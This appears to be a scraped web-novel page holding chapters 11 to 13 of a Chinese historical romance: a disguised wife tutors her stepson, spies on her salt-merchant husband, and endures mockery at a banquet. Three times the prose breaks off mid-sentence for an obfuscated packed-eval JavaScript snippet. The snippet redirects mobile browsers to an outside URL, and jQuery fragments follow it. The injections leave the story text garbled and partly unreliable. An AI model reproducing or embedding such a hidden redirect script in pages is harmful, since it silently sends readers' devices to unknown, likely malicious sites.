住什么档次的房间，她倒不在意，只是这里明显“与世隔绝”，完全不利于监视。 她一路都在和谢昭磨嘴皮子，想换个近地儿住，谢昭死活不肯。 “给你住都不错了，我恨不得把你赶出去。” “嘁，许大人都比你给面子。” “谁许你答应他的？” “他都那么说了，你有法子拒绝吗？” “难道不是你抢我话头吗？” 那些痛苦的回忆在她眼前闪回：“我怕他不高兴，又降下责罚来。” 她捂眼落下一行清泪，又心酸拂去，微微张开的指缝间，谢昭褪下狠戾的外皮，勾身低头站着，像个受了委屈的孩子。 他不安地攒着手：“阿越，有些事不是你想的那样。今日我若阻拦，知雨只会受更多折磨，我也是迫不得已……” 她只当他装腔作势：“你少在这惺惺作态。他若要知雨的命，你也会拱手相送！” 谢昭不再解释：“阿越，不管怎么说，明日赴宴，你定要谨言慎行，别再出风头。” 李清白语气别扭：“放心吧，我吃好喝好就回江都去，绝不碍您的眼。” 话是这么说，可她早已决定，先把知雨安全送回去，她和夏荫留在太州，势要看看这奸商佞臣玩的是什么把戏。 谢昭深深看了她一眼，沉默离开。 …… 谢昭虽安排她住得远，也没限制她自由活动，因而在屋内待了不到片刻，她便溜出小院，四下闲逛。来时她已记了路，没一会儿就晃到了知雨檐下，那个讨厌鬼不巧也在。听声音，他正检查知雨的课业，屋内不时传来责骂声，听得她怪心疼的。 谢昭没多久便匆匆离去，看样子又要出府办事。她找了个隐蔽的角落，再三确认无人留意，唤来信鸽通知夏荫，便敲开了知雨房门。 “娘亲！” 她把那愁眉苦脸的小团子高高抱起：“哎哟，小可怜儿。” 小小的一间房，东西倒没短缺。不光没短缺，那桌上堆的书册，都快到她胸口了。 “你爹他真不是个东西啊！你都还在吃药，怎么还逼着你写作业呢？” 知雨把小脑袋埋进她脖颈：“娘亲，爹爹要我奋发读书，将来考取功名。” “一个盐贩子，管你读书做什么……”她皱眉盯着那些蚁爬似的小字，“这些个破题，是不是写满字就行？” 知雨摇摇头：“不是的，爹爹要我好生答题，说是晚些时候来检查。” 想起谢昭凶神恶煞拿戒尺的模样，她感觉手心痛了一下，无奈拿起卷子：“那……娘亲教你做。” 一、背诵并默写《诗经·魏风·园有桃》 “这个简单，你直接抄一遍就好了。不过，这园子里的桃子，熟了摘下来就好了嘛，还用得着写个诗？文化人就是矫情。” “娘亲，爹爹会抽查我背诵的。” “没事，到时候娘亲给你打掩护。” 二、结合《增广贤文》中的语句含义，谈谈你的理解 “既坠金瓦，反顾何益……嗯，这个是说，劝那些富有的人，不要太吝啬，家里面的金瓦，丢了就丢了，别太放在心上。” 知雨看着那句“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242690|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既坠釜甑，反顾何益”，又看着娘亲一脸自信笃定，懵然点点头。 “莫饮卯时酒，昏昏醉到酉……啊，这就是劝人别喝太多酒，喝酒伤身体啊。不过这个人酒量蛮差的，喝的啥啊，从早醉到晚，丢人。等你长大，娘亲教你喝酒。” “贪他一斗米，失却半年粮，争他一脚豚，反失一肘羊……你看，功夫差的人，连口米连只羊都争不到，所以你要勤加锻炼，才不至于落了下风。” “一人道虚，千人传实……有理！比方说，你爹他体虚是吧，全江都都传遍了……啊，我是说，传的人多了就瞒不住了，以后咱们少跟你爹提这个。” “贞妇爱色，纳之以礼……这算什么贞妇？看上个美男子，就迫不及待送礼，把人给纳了，贞妇的标准几时变得这么低了？你爹怎么出这种题？这题不写了，不写了。” …… 知雨点头如捣蒜。 虽然爹爹不是这么教的，但娘亲说的都对。 三、翻译 “藏诸闾阎者，君皆得而有之，不必归之府库，而后为吾财也……” “是故君子先慎乎德。有德此有人，有人此有土，有土此有财，有财此有用……” …… 她两眼都要昏过去。 小孩子的学问也太难了吧！ 知雨见她脸色发白，乖巧递茶：“娘亲，歇会儿吧。” 她撇嘴接过，忽听得门外异动，飞速撂下茶碗，挡在知雨身前，凝神警惕注视，袖间机关蓄势待发。 未经传召破门而入的，只能是刺客，为护知雨周全，必杀之。 …… 咣！ 毫厘之间，她险些动了手。 若不是先看到许见卿，只怕那跌进门的小公子，早已血溅当场。 他身着玄狐裘，头戴六合一统帽，衣饰虽贵重，模样却十分狼狈，整个人都贴在地上，不若行了大礼。抬起头的那一霎，五官甚是清俊，继而咧开一嘴白牙，嘿嘿傻笑，把她看得一愣。 一个陌生的漂亮傻子？ 见卿赶忙走上前来，扶起那小公子，致歉道：“谢夫人见谅。我正陪他‘探险’呢，他非要到这儿来看看，我怎么也拦不住，扰了你们兴致，实在抱歉。” “没关系的，我们也就看看书写写字，打发打发时间。” “知雨身体好些了吗？” “说起来还要感谢你，你是从你爹那拿的解药吗？” “也不是。爹爹好炼丹，我有时爱看些医书，也就顺便研究下解毒之法。” “这位……是？” 见卿有些吞吞吐吐：“嗯，这是……与我同出一母的兄长……许之霄。他……儿时受过惊吓，身体有些抱恙，爹爹本不愿带他出来，可他总是爱闹……本来平日里不让他见客的，此番唐突，是我这个做妹妹的没有看好他……” 李清白摆手笑道：“那有什么，我们正愁没人一起玩呢。” 她看着眼前痴傻单纯的小公子，又看向桌前写不完的题卷，忽然心生一计。 “之霄，你不是喜欢探险吗？我这书桌上可有不少宝贝，随你怎么探。” 11. 心非 “娘亲，这真的能行吗？” 知雨展开那张沾满墨水指印、被揉成一团当球踢来踢去的试卷，扬起脑袋问她。 她仔细检查，几乎所有题目的答题处都被蹂躏得不成样子，满意地点点头：“不错，就是这样。” “可是爹爹真的不会怪我们吗？” “怎么会？许大人的傻公子非要进来淘气，弄坏了你的答卷，这怎么能是我们娘儿俩的过错呢？要怪，就让他去怪许大人好了。” “娘亲，你可真聪明！” “好了好了，你去歇息吧，娘亲也回房睡会儿。” …… 她原本是想看看这意园里有没有暗房密道、藏匿机要之所的，无奈刚出门，便有家丁来“护送”她回房，只得乖乖回去。一下午躺在床上翻来覆去睡不着，既担心夏荫暴露，又好奇许谢动向，这一晃就到了酉时。 咚咚咚。 她一股脑从床上翻起来。 是夏荫回来了！ 她推开门，来人果真是夏荫，一张皙白的脸被晚光衬得格外生动。他笑着扬扬手中的牛皮纸袋，语气里满是骄傲：“你看我给你带什么回来了！” 她细瞅，上头贴了红黄双花，印了方正的楷书“双良”二字，不由得满眼放光。 “双良猪肉脯！” “我知道你会喜欢。” 她撕开纸袋，拈了薄薄一片轻轻咬下，五分韧五分脆，肉香、熏香、芝麻香在唇间迸发，咸甜交织，回味无穷，嗦着手指眨巴眼道： “我们回去的时候，买它个十船八船的，囤着慢慢吃吧！” “你个馋猫，东西要新鲜的才好吃。” “那倒也是。唔……你这趟出去，可有什么收获？” “那可多了去了。” 李清白放下纸袋，正襟而立。 “早上我跟着那帮谢府的人，去了本地各要津、盐铺，他们询问了近七日的人员出入及账目情况，似乎是在例行盘查生意，也收受了一些银两。” “无良奸商，欺压百姓啊。” “后来收到你消息，马不停蹄往回赶，谢昭的确是跟着许灵阶出门的，陪同他拜访了六位本地政要，多是饮茶叙旧。谢昭同他们熟得很，极尽奉承，平日里大概少不了给好处。” “官商勾结，世态炎凉啊。” “再后来，谢昭陪许灵阶去了一座尚在兴修的道观‘仙云观’，过了约三刻钟才出来。里头除了工匠没别人，我不好贸然进去，但出来时谢昭脸色很不对，似乎有事发生。” “那我找个机会刺探下。” “哦，还有个事，回来路上我接到封信，是你爹的，你看看。” 李清白不情不愿地打开信，没看两句就丢到了一边：“嘁，自己玩忽职守，还怪我们瞎胡闹。” “大人也是担心你的安危啊。” “他老人家就等着颐养天年吧！他不愿做的事，我来做。” “你？你有几斤几两的功夫，我还不知道？” “你敢小瞧我？来，我们比划比划。” 李清白稳桩提气，扬臂握拳，绝不在这小纨绔面前露怯。夏荫不敢马虎，严阵以待，也绝不肯丢了他锦衣卫十四千户的面子。 二人你来我往，贴身互搏，全然没注意屋外有双酸溜溜的眼。 不一会儿，门口传来细微的咳嗽声，二人同时警觉，恢复主仆模样。夏荫悄摸到了门边，那人刚好敲了门，他便把门打开。 嗯…… 谢昭自己送上门来了？ 他怎么……像个怨妇？ 明明才过了几个时辰，谢昭已不复潇洒姿态，倚门的身子微微佝偻，惨白的面色，干枯的嘴唇，略显凌乱的发丝，似乎遭受了某种重大打击，又有种元气大伤的美感。 李清白见他手里拎着个熟悉的牛皮纸袋，试探着开口：“你……是来给我送吃的？” 谢昭将纸袋背到身后，幽怨道：“我来过问知雨功课。” 她有些心虚：“你走的时候也没要我辅导他吧？这会儿倒跑来问我了。” 谢昭冷冰冰的：“他的功课，你是第一责任人，任何时候都不能推脱。若是他今天的功课没做好，你也一起受罚。” 李清白笑眯眯的：“我的日常，你也是第一责任人，若是我没把知雨教好，你也应该一起受罚。” “你……” 谢昭气得要捶门，她接着道：“其实我们也认认真真做了，只不过现在啥也没了。” “这是什么话？” 她抱胸含笑：“你去问许之霄呀！他好巧不巧跑来‘探险’，把你的那些题，那些书，全都搞得乱七八糟，不能看啦。” “你！之霄虽然糊涂，却也绝不会乱动旁人东西，你是成心赖给他！” “反正事情是他做的，你要怪就怪他好啦。” 谢昭气得直喘，大口大口咳嗽起来，用来捂嘴的巾帕上，竟蓦然出现丝丝血迹。 她惊跳起来，一把抓住他手臂：“谢昭，你怎么了？” 谢昭冷脸甩开，跌跌撞撞走远。 …… 晚席的菜式比午间更丰盛，她的胃口却是一顿不如一顿。后来谢昭再没出现过，把自己关在屋里谁也不见，也不知究竟发生了什么。担心夹杂着好奇，逐渐淹没她全身，她草草拨弄了两口，匆匆赶去拨云堂。 谢昭受伤不轻。 是谁所伤，又因何事？ 来到他门前时，屋内似有声响，她便屏息听着： “这药是我亲手煎的，未经旁人，你也不肯吃吗？” 什么，许见卿在谢昭屋里，还伺候他吃药？？？ 她心里那股毛躁，像闪电噼啪炸开，大力敲起门来：“谢昭！谢昭！” 见卿打开门，冲她莞尔一笑：“也好，让你夫人来伺候你。” 她与谢昭眼神对视，只一刹便红了脸。 进门打量四周，这间主房竟比客房还要简陋，房内连个像样的陈设都没有，属实出乎她意料。空荡荡的红木桌上摆着撂下的药碗和那包猪肉脯，见卿朝她示意，她鬼使神差地端起那碗药，走到谢昭床前，不知该说什么好。 谢昭撑身坐着，厌烦地撇过头：“拿走。” 他的脸比那会儿更惨白了，中衣上透着隐约的汗渍和血渍，她忍不住道： “是谁伤的你？” 见卿帮答：“听我爹说，他们下午在僻静的街巷遇袭，他为保护我爹受了伤，贼人也被击毙。我过意不去，便自作主张煎了药送来。他怎么也不肯吃，正好你来了，一定要劝他按时服药。我这儿还有个治外伤的药膏，你收着，替他搽上，我就先回去了。” 明明是仙云观，怎么是街巷？他们一定在隐瞒什么。 见卿将那枚雕花小方盒放在桌上，谢昭缓缓开口：“多谢你。那包双良猪肉脯，是我特地为你买的，你带回去吃吧。” 见卿笑得很甜：“那，我就不客气了。” “……” 不就是一包猪肉脯！有什么了不起的！谁还没吃过！ 她垮着张小脸，心中满是不悦，一时竟忘了该问他什么。 谢昭盯着她审视了好一会儿，态度和语气都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242691|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拒人于千里之外：“你来做什么？” “过来看看，我有没有机会继承家产。” “你想多了。我很好，你可以走了。” 她感到手中药碗的温度在逐渐流失，连同她的关切和耐心。既然冷漠至此，想必他什么也不会说，她转身放下药碗，一言不发便走。 这时，谢昭闷头咳了起来。 她循声望去，新沁的血迹如花枝般从他身上探出，心头震颤，跑将过去扶住他肩膀： “谢昭，谢昭！你怎么样？” 谢昭迅速将她手挪开：“我说过了，我很好。” 她急了起来：“好什么好？你伤得很重，对方是谁，用什么武器？” “这伤与你无关，自然也不用你管。” 顾不得那么多，她抓起见卿留下的药膏，就开始扒他的衣裳。她速度极快，动作极轻，须臾间已露出谢昭后肩上的血痕，谢昭不知哪来的力气，竟顷刻将她推倒，用那双深潭一样的眼睛盯住她。 她呆呆坐在地上，想着自己方才大概失心疯了，竟妄想温暖一匹嗜血的豺狼。 “滚。” 她一瞬间被这字眼伤得很深，在眼泪掉落之前，夺路而逃。 元旌归来时，正碰到李清白跑走，还打算问问怎么回事儿呢，见谢昭如此模样，瞬间明白了几分，懊恼得直拍大腿： “爷，我就不该走的！许灵阶为何又打您？” “自然是怪我没管教好媳妇，当众忤逆于他，坏了心情。不过这四年来，他十日总有八日心情不佳，也习惯了。” 元旌看着那方药盒，斟酌问道：“这是夫人拿来的？” 谢昭皱眉：“许见卿给的，你别用，桌上的药也悄悄倒掉。” 元旌另取了柜中药箱，替谢昭清理上药：“那，夫人又是怎么回事？” 谢昭倒吸了几口凉气，缓缓道：“不关她事，我不想让她掺和进来。” “爷，留着她总归是个祸患。” “李葆葆明哲保身多年，竟有这样一个胆大包天的女儿，也是出奇。不过，她始终真心爱护知雨，若能在江都安分守己，倒也不会坏了我们的计划。明日许灵阶叫我带她去自在园赴宴，你送知雨去章华书院，再派人送他们回江都，不容有失。” “是，爷。” “咱们的船，可有查到什么眉目？” “那夜风平浪静，盐船几无倾覆可能；这批货数额巨大，特派墨卫运输，船队失踪后，我已集结各地人手火速查访，未有叛变可能，应是有人蓄意劫掠。若说劫掠之人，本地头号盐商富大友嫌疑最大。” “是他？” “他最有实力，也最有动机。三年前占中插队，一年前兜售假盐引，不都跟咱们结了梁子吗？明面上虽不敢与您为敌，免不了暗中使绊子。咱们的船队挂有醒目的谢家旗，同行江上时，其他船只尚且避之不及，又怎敢劫持？能神不知鬼不觉吃下咱们船队的人，就只有他了。” “听闻明日他也在宴请名单上。” “爷，不然我……” “不，我要你全力保障知雨的安全。明日趁富大友夫妇出门，派人细查富府及其产业，有消息即刻通知我。许灵阶那边也不可轻视，盯牢。此外，查一下那个应夏的身份，他和李清白关系匪浅。” “是。” 元旌关好药箱欲退下，冷不丁被谢昭叫住。 “阿旌，和你商量件事。” “啊？” 谢昭顶着张哀怨的脸，委屈巴巴地望住他，像只受伤的小鹿。 “以后轻点成不成？” 12. 鸿门 翌日辰时。 李清白是很想多睡一会儿的。她住得偏，正好当做借口，回绝了那些繁文缛节，省得一大清早就看见那张令人生厌的脸，小沛却不许她再赖床—— 韩春廷是本地颇有名望的耆老，虽已还乡多年，仍与多位朝中要员及地方官兵有私交，此行就算不为谢昭的面子，也得装扮得妥帖庄重，不能让人瞧出破绽。 她两手被小沛拽出被窝，屁股仍黏在床上不肯挪动，噘嘴撒娇道： “我的好妹妹，再睡半刻成不成？” 小沛使了吃奶的劲，却也奈何不了她分毫，笑恼道： “你就睡吧，待会忙起来，我可不给你吃的。” “嘁，今儿个要吃好的，正好留留肚子。” 她翻过身，打算再赖一会儿，抠抠有些发痒的耳朵，门外急切的叫喊声，也适时传了进来。 来人是伺候知雨的小厮，说是小少爷不知为何又惹了爷发脾气，哭得没办法，只好来搬救兵。 她随手抓了件衣裳，囫囵穿上就跑。小沛方反应过来，急吼吼跟在后头追： “小姐，小姐！别冻着才是啊！” 外头风声呼啸，隔着老远呢，知雨的哭声已是震耳欲聋。 她急晃晃冲开门，见谢昭拿着张纸，怒目瞪着知雨，身子微微发抖，不知是气的还是病的。 她不愿与他对视，揽过知雨问：“这是怎么了？” 知雨抽抽搭搭：“爹爹要我作诗，嫌我作得不好。” 谢昭气极：“我可不得嫌你？作一首五绝，描绘一种小动物，就这么难吗？学了多久了，为何平仄还是不分，诗句还是不成形？” 李清白偷瞄了一眼那上头的字，正是—— 《咏龟》 绿帽漂在水中央，风吹雨打都不慌。 飞来一只大王八，看谁比谁活得长。 她忍俊不禁：“这不写得挺好嘛！活泼，生动，有画面感。” 知雨得了鼓励，壮着胆子小声解释：“那，我是看到有个乌龟浮在池子里面，又有个王八过来和它打架，我就想，争一时的输赢有什么用，谁活得长谁才有本事。” 她拍掌：“说得好！小小年纪就如此有哲思，将来一定不得了。” 谢昭冷笑：“你们干脆自创一种新的格律，掀翻当今文坛好了。” 她借驴下坡：“借您吉言，将来知雨有了出息，您也父凭子贵啊。” 谢昭白了她一眼。 她自顾自道：“平平仄仄，那是大人们定的条条框框，小孩子的世界没有那么复杂，单纯地描绘他所见所想罢了。只要不讲平仄，这诗稍微改一改，倒也还能看。” 只见她略作思考，朗然道来： “绿岛宛在水中央，风吹雨打都不慌。 管他鱼虾和王八，不与俗物争短长。” 谢昭沉默着思索了半晌，脸色似乎有所缓和，周身的戾气随晨风消散，也没再为难知雨。 “太州是文化之乡，知雨，你在章华书院好好感受，回来要跟我讲心得。” “是，爹爹。” 谢昭不再搭理这母子俩，走出去几步却又回过头，有些发狠地叮嘱她： “别忘了我昨日说的，谨言慎行。” 她偏过头，从鼻子里哼了一声。 …… 她给小沛放了假，装扮妥当出府时，谢昭正被人搀上马车。 今日天寒风大，狐白裘簌簌抖着，隐约括出他愈发清减的身形。他连腿脚都有些无力，借力三回才勉强登上车，收身坐定，瞥见一袭盛装的她，微微怔了一下，很快闭上双眼。 她也只当没看见他。 提裙抬腿，步履轻盈，特意坐在离他最远的对角，优雅掀起帘窗，眺望小街风景。 啊…… 阿嚏！ 风景是真的美，这天儿也是真的冷啊。 为着撑场面，她特意穿了件釉蓝妆花织金缎裙外搭卷云纹银红披风，鬓上那支硕大的彩宝金簪尽显贵气，颈间一条油光水滑的雪貂围脖，衬得肤色格外娇嫩。 为免身量臃肿，她严词拒绝了小沛里三层外三层的保暖计，只恨太州的风不讲体面，硬生生要吹跑她这外乡客。 阿嚏！阿嚏！ 她合上风景，老老实实端坐，可那刁钻的冷风绕过密实的貂毛，直往她身子里钻，骤然收缩的皮肤，使她结结实实又打了两个大喷嚏。 她有些尴尬，偷偷瞄了眼谢昭，见他仍闭眼打盹，心下松弛下来，摸摸发痒的鼻尖，冷不防又是一记震天响。 谢昭微微睁眼，有些嘲弄地看着她。 她窘着眉还击：“没见过人打喷嚏啊。” 谢昭重又闭上眼。 韩老所居之自在园与意园相隔数里，一路嚏声连绵，倒也不显寂寞。临园落车，许是宾客太过喧腾，惹得妖风也来助兴，险些将马夫的瓜皮帽吹翻。 李清白拢着身子将将站定，一个直冲脑门儿的大喷嚏气贯而出，把门口迎客的小童震得一愣。谢昭难掩嫌弃，解下那身厚厚的狐白裘，递到半空中。 “喏，别丢了我们谢府的脸面。” 她兀自逞强，缩着手道：“我不冷。” 谢昭抬手：“穿上。” 她梗脖：“不穿。” 谢昭耐心全失，一手扣住她肩颈，一手将裘衣旋起，严丝合缝地裹住她全身。酥麻的暖意细细密密钻进她每一寸肌肤，她有些恍然，盯着仅着织金紫缎贴里的谢昭： “你……我穿了你穿什么？” 新至的宾客很快挤将过来，谢昭捉住她手腕，似是深吸了一口气，递过邀帖，转身迎向人潮。 自在园处太州西南郊，是周围所有园林中最具匠心的一座。园内布局一概出自韩老亲手，置身香雾缭绕的自在堂，坐望渔、樵、耕、读四小园，纵使抱怀缺憾，亦能暂得圆满。渔园垂钓、樵园手工、耕园种酿、读园清议，皆可忘身烦恼；天车林踩水、闯林探秘、糊涂林逍遥，堪比人生三境。 游园一日，体味百态人生，终得自在随心，是比柳巷风流舒爽百倍的美遇。幸得韩老豪爽大方，常做四方宴请，多有佳话流传坊间，经年不绝。 本次秋宴设于自在堂主厅，远远望去，华冠丽服的士子客商陆续依席上座，宛若各路仙人齐聚天庭，共赏蟠桃盛会。 径间野趣横生，不时有鸟雀鱼虫分走她的心神，谢昭一面勾紧她的手指，一面与来往的各位政要点头照面。 “知州大人。” 她正嘬嘬唤着一只憨态可掬的橘狸，蓦地被谢昭一扯，舌头差点打了结。 “啊，嗯……见过知州大人。” 太州知州黄准眯起那双标志性的三白眼，上下打量谢氏夫妇，揶揄道： “哟，江都来的贵客啊。” “不敢。” “欸，何必谦虚呢？如今谁人不知谢爷您盐通四海，财贯天下，更得首辅大人青睐，论起这做人做事的本领，就连我们本地最能干的盐商富大友，也是望尘莫及啊！” “大人谬赞。” “大友常说，若能寻得几位有实力的友商合作，这盐课还能翻一番呢！今日他也列席……” 黄准眼神飘忽，忽而在人群中锁定了目标，招呼那二位过来： “大友！大友！” 穿戴华丽的富大友夫妇闻声而来，一见谢昭，犹如猛狮竖起鬃毛。 黄准不知二人旧怨，迷惑地挠挠头：“这……” 富大友张张嘴，那衫红裳绿的富夫人却抢先一步迈上来，头上金钗彩宝晃作一团：“哟，谢爷想找我们夫妻俩的岔，还找到韩老宴席上了？” 富大友高声附和，企图把事情闹大：“谢昭，从前的事我也不与你追究了，可你一来太州就派人搅我生意，这究竟是你的地盘还是我的地盘？你若执意如此，我非和你拼个鱼死网破不可！” 众人围拢过来，谢昭把李清白揽到身后，定身道：“究竟是谁搅谁，你们自己心里清楚。” 富夫人泼了油彩一般的妆面愈发鲜艳，语调做作如同唱戏：“谢昭，不怕告诉你，得知你要来，我夫君专门请人为你算了一卦，大凶之兆，恐有破财之灾啊。” 谢昭转而发怒，压低喉咙道：“你们做了些什么？” 富大友抖眉冷笑：“该做什么就做什么。这太州的盐道，总归我富某人说了算。” 富夫人打量着紫竹般的谢昭，又瞅糯雪似的李清白，讥讽道：“怎么，你这好不容易讨来的媳妇儿，连穿衣都伺候不好啊？该不是对你多番嫌弃，至今还未圆房吧！跟了你，守一辈子活寡还要当后娘，这不是白白糟践人家嘛。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242692|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李清白哑然低头，谢昭却一把抓住富夫人前胸那串青金石珠，几欲捏断：“不准非议我夫人！” 有诸多政要在场，富夫人并不害怕，继续挑衅：“依我看呀，放过人小姑娘得了，趁早断了这红尘念，做好看家犬，守好自家门，也省得惹主人生气不是？哈哈哈……” 围观众人跟着哈哈笑起来，谢昭干脆地挑动手腕，撵断珠串发泄怒意。 那散落一地的滚珠如同他被碾作尘泥的自尊心，无人归拢也无人在意。 很快有丫头上前清扫，黄准看着这被他搞砸的场面，努力想调和： “二位，二位，今日本该高兴，怎么还吵起来了呢？大家总要给韩老一个面子吧。” 富大友见谢昭如鲠在喉，觉得自己占尽了上风，得意洋洋地携夫人扬长而去，未及走远还留下一句： “谢爷，等您喜当爹，记得请我们喝满月酒哇！” 谢昭脸色青得吓人，李清白摸摸他冰透的手，去解那狐白裘的衣带：“谢昭，这……” 谢昭反握住她手，宽心道：“你穿着。他们刚刚说的，你莫往心里去。” 他眼中锋芒明了又灭：“我会让他们付出代价。” …… 二人低调落座，谢昭的心情却跌到了谷底。 席间金盘堆砌的洞庭霜橘、蜜渍雕梅，银盏盛着的猪油松子酥、鹅油卷儿，青瓷壶中温着的兰雪茶、烟雨茶，舞姬们旋着的长水袖、杨柳腰，他都没了心思，低着头自顾神伤。 李清白吃得欢腾，大方安慰他：“没事儿，我不介意的，大不了，以后都替你圆场就是。” 谢昭咬牙道：“介意什么！我何时要你圆场！” 李清白塞了颗桂花糖茨菰去堵他的嘴：“好了好了，不说这些了。” 油炸烧骨、银丝鲊、咸鸭蛋等下酒菜一摆，便有青衣小婢捧出素釉酒坛，泥头一开，清冽的香气瞬间弥散开来，竟是耕园特酿雪醅酒。 此酒取腊月梅梢雪水，经九蒸九酿，入口似雪融舌，喉间留松针清气，自是珍贵非常。今日宴席动用此酒，足见韩老用心。 未及祝酒，李清白便伸手去捉那戗金彩漆鹦鹉杯，只听得身侧一声刻意的轻咳。 她只当没听见，伸手再捉，腕间忽而冰凉，对上谢昭银针样的眼神。 “你不许喝酒。” 哈？ 她天性豪爽爱饮酒，在京中时，常与父亲和他的下属们对酌。雪醅这样的珍品摆在面前，岂有白白错过的道理？ “凭什么啊？” “就是不许。” “我若是非喝不可呢？” “那我便关你禁闭。” 二人较起手劲，角力再三，已引来不少人注目。李清白陶醉地吸了一口雪醅的香气，悻悻放下酒杯，狠狠夹了一筷烧鹿花猪，心里早把谢昭骂了一万遍。 酒过三巡，她也吃了八分饱，正想着再来点儿烧鹅蹄髈呢，只听得一文士提议：“今日大家难得相聚于此，不如献诗助兴如何？作不出的，可要罚酒了。” “好！好提议！” 只见一折眉浓髯的武官操起酒盅一饮而尽，重重砸在案板上：“在场这么多读书人，又有首辅大人坐镇，俺就别丢人现眼了，先自罚三杯再说！” 大家哄堂而笑，一直忙着吃饭的李清白这才想起坐在上席的许灵阶，一身墨绿妆花云肩蟒袍，一副万事尽在掌控的自得样，忍不住打了个寒颤，然后继续埋头苦干。 “韩老已逾耳顺，一向德高望重，不如就以‘寿’为主题，不限韵字，自由发挥，作者点人再作，如何？” “行！先从我开始！” …… 一时间，文人们诗性大发，口灿金言，场面顿时沸腾起来。 有人击节赞叹，有人抚掌大笑，更有甚者，借着酒兴挥毫泼墨，将方才的诗句题写在素绢之上，字迹飘逸如云，引得众人争相传阅。 武将们虽不善诗词，却也豪迈不羁，举杯进献祝福，仰头倾杯而尽，赢得满堂喝彩。 趁大家忙作一团，李清白敞开肚皮尽情吃喝，全然不顾谢昭越蹙越紧的眉头。 直到那一声晴天霹雳，把一颗吃货的心劈得稀碎。 “听闻谢夫人自幼熟读诗书，才华过人，可否也献诗一首，为这雅集添彩？” 13. 替酒 那是个一身铜臭气的士子，就坐在富氏夫妇右侧，嘴角还挂着未擦干的酒渍。李清白对上他不怀好意的眼神，心中大叫不妙，赶紧咽下嘴里那块炙羊肉，低头问谢昭： “谢昭，我现在怎么办？” 谢昭不答，反指了碟中那道玉带鳖裙给她：“这菜一定合你口味。” 她偷偷踢了他一脚：“都什么时候了，救救场啊！” 谢昭不理，夹了一筷给她：“喏，你试试。” …… 这死奸商，八成是公报私仇让自己当众出糗吧！ 见她还没会意，谢昭慢条斯理地搁下牙箸，侧身凑近她耳畔。 她只感觉一股温热又潮湿的气流扑过耳朵，浑身如放电般颤动开来，险些听不清他唇舌间喷薄而出的两个字。 咏龟…… 是了，知雨才作的《咏龟》！她脑子极乱，此刻一句现成的诗也想不出来，只能搬出这无名堂凑数，冀望能够蒙混过关。 于是她换上假笑面具，端庄起身，硬着头皮一字一句道： “《咏龟》。绿岛宛在水中央，风吹雨打都不慌。管他鱼虾和王八，不与俗物争短长。” “哈哈哈……” 她念完第一句，就看见在场宾客开始捂嘴偷笑，左右议论。等她念完，大家的笑声一浪高过一浪，几乎要将她湮没。 从小厌极读书的她，生平第一次懊悔，如果当初听了娘亲和爹爹的话，多往肚子里灌些墨水，如今也不至于当庭被人耻笑。 她看见谢昭也在笑，又踢了他一脚，赧然切齿道：“他们笑，你跟着笑什么？” 谢昭眨眨眼：“阿越，你一本正经念诗的样子，很可爱。” “你……” 那士子带头鼓起掌来：“好文采，好文采呀！谢夫人这学识，国子监司业都要自惭形秽呀！” 她羞愤难当，连夹三粒水晶鹅胗，吃得嘴巴鼓鼓，心里也气鼓鼓。在众人的嘲笑声中，谢昭伸过手，轻轻捏了她手指一下，随即拂袖起身： “诸位，这首小诗，其实并非我夫人所作，而是今晨四岁犬子一时兴起所作，夫人觉得正合时宜，便借小儿之口祝韩老福寿绵长，让大家见笑了。” 一听这话，大家纷纷止了笑声，交头接耳起来。 “四岁？才四岁就能作诗，好教养哇。” “虽说平仄不分，可诗意盎然、饱含志趣，又隐喻韩老超凡脱俗、出尘不染，好诗哇！” “好诗，好诗！” 那士子也没料到风向转圜如此之快，合着手掌不知所措，却见众人不约而同鼓起掌，自个儿也尴尬地拍了两下，灰溜溜坐了回去。 李清白张着嘴，讶然接受着众人的示好，不可置信地看向谢昭：“啊，这样也行？” 谢昭淡淡夹起裙边：“这个好吃得很，你多吃点。” …… 诗兴勾动酒兴，酒兴酣助诗兴，众人渐渐沉醉在雪醅的淳香里，就连酒量上佳的武将们也是面红耳赤，意态迷离。 来往间，有个上酒的小婢女因着撞到了一名摇摇摆摆的武将，被他一脚踩在地上，狠狠发泄蹂躏。 却听得舞乐声陡然转急，顷刻间便将那微弱凄厉的哭喊吞没殆尽。满堂宾客觥筹交错，笑谈如常，仿佛什么都不曾发生。 李清白哪里坐得住，立时就想上前救人，却被谢昭死死钳住。 “还想再出风头吗？” 女孩的哭叫声立刻吸引了几名醉酒的武将，操起麒麟腿玩起了人形“蹴鞠”，嚎声越大他们便越兴奋，一时间竟无人制止。 李清白心急如焚，顾不得“姜氏柔弱女”的身份，动武挣脱谢昭手掌，拍案而起。 “你们这是做什么！” 